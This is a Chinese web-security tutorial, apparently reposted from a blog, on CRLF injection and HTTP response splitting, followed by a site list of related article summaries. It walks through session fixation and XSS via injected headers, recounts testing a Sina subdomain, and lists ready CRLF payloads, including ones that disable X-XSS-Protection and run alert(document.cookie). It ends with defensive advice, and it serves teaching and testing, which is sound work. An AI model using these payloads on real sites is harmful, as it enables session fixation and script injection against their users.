Web安全-HTTP响应拆分(CRLF注入)漏洞

简介: Web安全-HTTP响应拆分(CRLF注入)漏洞

文章目录
漏洞简介
漏洞利用
会话固定
XSS攻击
实战案例
挖掘技巧
漏洞防御
漏洞简介
CRLF 是 CR 和 LF 两个字符的拼接,它们分别代表 “回车+换行”(\r\n),全称为 “Carriage Return/Line Feed”,十六进制编码分别为0x0d 和 0x0a,URL编码为 %0D 和 %0A 。CR 和 LF 组合在一起即 CRLF 命令,它表示键盘上的 “Enter” 键,许多应用程序和网络协议使用这些命令作为分隔符。

在 HTTP 协议中,HTTP header 之间是由一个 CRLF 字符序列分隔开的,HTTP Header 与 Body 是用两个 CRLF 分隔的,浏览器根据这两个 CRLF 来取出 HTTP 内容并显示出来。

所以如果用户的输入在 HTTP 返回包的 Header 处回显,便可以通过 CRLF 来提前结束响应头,在响应内容处注入攻击脚本。因此 CRLF Injection 又叫 HTTP 响应拆分/截断(HTTP Response Splitting,简称HRS)。

此处可以在本地测试一下 CRLF 字符的作用,如输入111%0d%0a222%0d%0a%0d%0a333,能看到插入一个 CRLF 字符和两个 CRLF 字符依次的作用是换行和插入空行:

CRLF 注入漏洞的本质和 XSS 有点相似,攻击者将恶意数据发送给易受攻击的 Web 应用程序,Web 应用程序将恶意数据输出在 HTTP 响应头中(XSS一般输出在主体中)。所以 CRLF 注入漏洞的检测也和 XSS 漏洞的检测差不多。通过修改 HTTP 参数或 URL,注入恶意的 CRLF,查看构造的恶意数据是否在响应头中输出。

漏洞利用
根据插入的 CRLF 的个数不同,可设置任意的响应头,控制响应正文两个主要的利用办法。具体的危害表现在:会话固定、XSS、缓存病毒攻击、日志伪造等等。

会话固定
正常一般网站会在 HTTP 头中用 Location: ip 这种方式来进行302跳转,所以攻击者可以构造恶意的 CRLF 字符控制的内容就是Location:后面的内容!

一个正常的 302 跳转包是这样:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
1
2
3
4
5
6
但如果我们输入的是:

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
1
注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
1
2
3
4
5
6
7
这个时候这样我们就给访问者设置了一个 SESSION,造成一个“会话固定漏洞”。

XSS攻击
当然,HRS 并不仅限于会话固定,通过注入两个 CRLF 就能造成一个无视浏览器 Filter 的反射型 XSS。

比如一个网站接受 url 参数 http://test.sina.com.cn/?url=xxx,xxx 放在 Location 后面作为一个跳转。如果我们输入的是:

http://test.sina.com.cn/?url=%0d%0a%0d%0a
1
返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:


1
2
3
4
5
6
7
8
之前说了浏览器会根据第一个 CRLF 把 HTTP 包分成头和体,然后将体显示出来。于是我们这里这个标签就会显示出来,造成一个XSS。

为什么说是无视浏览器 Filter 的?

这里涉及到另一个问题。浏览器的 Filter 是浏览器应对一些反射型XSS做的保护策略,当 url 中含有 XSS 相关特征的时候就会过滤掉不显示在页面中,所以不能触发 XSS。怎样才能关掉 filter?一般来说用户这边是不行的,只有数据包中 http 头含有X-XSS-Protection 并且值为 0 的时候,浏览器才不会开启 filter。

说到这里应该就很清楚了,HRS 不正是注入 HTTP 头的一个漏洞吗,我们可以将 X-XSS-Protection:0 注入到数据包中,再用两个 CRLF 来注入 XSS 代码,这样就成功地绕过了浏览器 filter,并且执行我们的反射型 XSS。所以说 HRS 的危害大于 XSS,因为它能绕过一般 XSS 所绕不过的 filter,并能产生会话固定漏洞。

综上,当我们输入两次%0d时,响应头和响应正文会进行分离,就可以构成反射型 xss,Payload 如下:

http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0a
1
响应包:

HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
set-cookie:
X-XSS-Protection: 0


1
2
3
4
5
6
7
实战案例
来一个真实案例, 新浪某分站含有一个 url 跳转漏洞,危害并不大,于是我就想到了 CRLF Injection,当我测试:

http://xxx.sina.com.cn/?url=%0d%0a%0d%0a%3Cimg%20src=1%3E
1
的时候,发现图片已经输出在页面中了,说明 CRLF 注入成功了:

那么我们试试 XSS 看看:

看控制台,果然被 XSS Filter 拦截了。

那么我们就注入一个:

X-XSS-Protection:0
1
到数据包中,看看什么效果:

挖掘技巧
挖掘此类漏洞,依旧要遵循亘古不变的原则,观察我们的 “输入” 和 “输出” 位置,对于 CRLF 则是观察返回的各种类型的协议头,所以挖掘分三步:

观察输出是否在返回头中,查看输入,可能是在 URL 值和参数、cookie 头中,在过往的挖掘过程中,最常见的两种情况是使用输入参数创建 Cookie和 302 跳转 location 处;
提交 %0D%0A 字符,验证服务器是否响应%0D%0A,若过滤可以通过双重编码绕过;
漏洞利用,使杀伤最大化,将漏洞转化为 HTML 注入,XSS,缓存 等。
附上 CRLF Payload:

//探测漏洞:
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header

//开放重定向:
/www.google.com/%2f%2e%2e%0d%0aheader:header

//CRLF-XSS:
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e

//XSS绕过:
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/

//Location:
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
漏洞防御
要避免 http 响应截断,需要注意以下几点:

对用户的数据进行合法性校验,对特殊的字符进行编码,如<、>、’、”、CR、LF等,限制用户输入的 CR 和 LF,或者对 CR 和 LF 字符正确编码后再输出,以防止注入自定义 HTTP 头;
创建安全字符白名单,只接受白名单中的字符出现在 HTTP 响应头文件中;
在将数据传送到 http 响应头之前,删除所有的换行符。
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_39190897/article/details/124527204

目录
相关文章
|
3月前
|
JSON 监控 API
掌握使用 requests 库发送各种 HTTP 请求和处理 API 响应
本课程全面讲解了使用 Python 的 requests 库进行 API 请求与响应处理,内容涵盖环境搭建、GET 与 POST 请求、参数传递、错误处理、请求头设置及实战项目开发。通过实例教学,学员可掌握基础到高级技巧,并完成天气查询应用等实际项目,适合初学者快速上手网络编程与 API 调用。
489 130
|
3月前
|
安全 测试技术 程序员
web渗透-文件包含漏洞
文件包含漏洞源于程序动态包含文件时未严格校验用户输入,导致可加载恶意文件。分为本地和远程包含,常见于PHP,利用伪协议、日志或session文件可实现代码执行,需通过合理过滤和配置防范。
654 79
web渗透-文件包含漏洞
|
3月前
|
存储 安全 前端开发
Web渗透-文件上传漏洞-上篇
文件上传漏洞常见于Web应用,因类型限制不严可致恶意文件执行。本文介绍前端检测、MIME类型、黑名单、.htaccess、空格、双写等多种绕过方式,并结合upload-labs靶场演示利用方法,提升安全防护认知。
473 1
Web渗透-文件上传漏洞-上篇
|
3月前
|
安全 中间件 应用服务中间件
WEB渗透-文件上传漏洞-下篇
本文详解文件上传安全漏洞,涵盖白名单绕过(如00截断、条件竞争)、图片木马制作与利用、以及IIS、Apache、Nginx等常见解析漏洞原理与防御。结合实战案例,深入剖析攻击手法与修复方案。
256 1
|
3月前
|
存储 JavaScript 安全
Web渗透-XSS漏洞深入及xss-labs靶场实战
XSS(跨站脚本攻击)是常见的Web安全漏洞,通过在网页中注入恶意脚本,窃取用户信息或执行非法操作。本文介绍其原理、分类(反射型、存储型、DOM型)、测试方法及xss-labs靶场实战案例,帮助理解与防御XSS攻击。
975 1
Web渗透-XSS漏洞深入及xss-labs靶场实战
|
3月前
|
安全 NoSQL Shell
web渗透-SSRF漏洞及discuz论坛网站测试
SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
244 1
web渗透-SSRF漏洞及discuz论坛网站测试
|
3月前
|
安全 程序员 数据库连接
web渗透-CSRF漏洞
CSRF(跨站请求伪造)是一种常见的Web安全漏洞,攻击者通过伪造用户请求,诱使其在已登录状态下执行非意愿操作。本文介绍CSRF原理、分类(站外与站内)、DVWA靶场搭建及防御措施,如同源策略与Token验证,提升安全防护意识。
468 0
web渗透-CSRF漏洞
|
3月前
|
安全 Linux PHP
Web渗透-命令执行漏洞-及常见靶场检测实战
命令执行漏洞(RCE)指应用程序调用系统命令时,用户可控制输入参数,导致恶意命令被拼接执行,从而危害系统安全。常见于PHP的system、exec等函数。攻击者可通过命令连接符在目标系统上执行任意命令,造成数据泄露或服务瘫痪。漏洞成因包括代码层过滤不严、第三方组件缺陷等。可通过参数过滤、最小权限运行等方式防御。本文还介绍了绕过方式、靶场测试及复现过程。
971 0
|
3月前
|
安全 数据安全/隐私保护
Web渗透-逻辑漏洞
逻辑漏洞主要因程序逻辑不严谨或复杂导致处理错误,常见于越权访问、密码修改、支付等环节。漏洞统计显示,越权操作和逻辑漏洞占比最高,尤其账号安全风险突出,如任意重置密码、验证码暴力破解等。漏洞分类中,越权访问分为水平越权(同权限用户间数据访问)和垂直越权(跨权限数据访问)。
164 0
Web渗透-逻辑漏洞
|
3月前
|
存储 安全 Java
web渗透-反序列化漏洞
序列化是将对象转为可传输字符串的技术,便于存储与传输。PHP通过serialize/unserialize实现,Java通过Serializable接口和ObjectOutputStream完成。文中还介绍了反序列化漏洞在安全测试中的利用方法及CTF实战案例。
69 0
web渗透-反序列化漏洞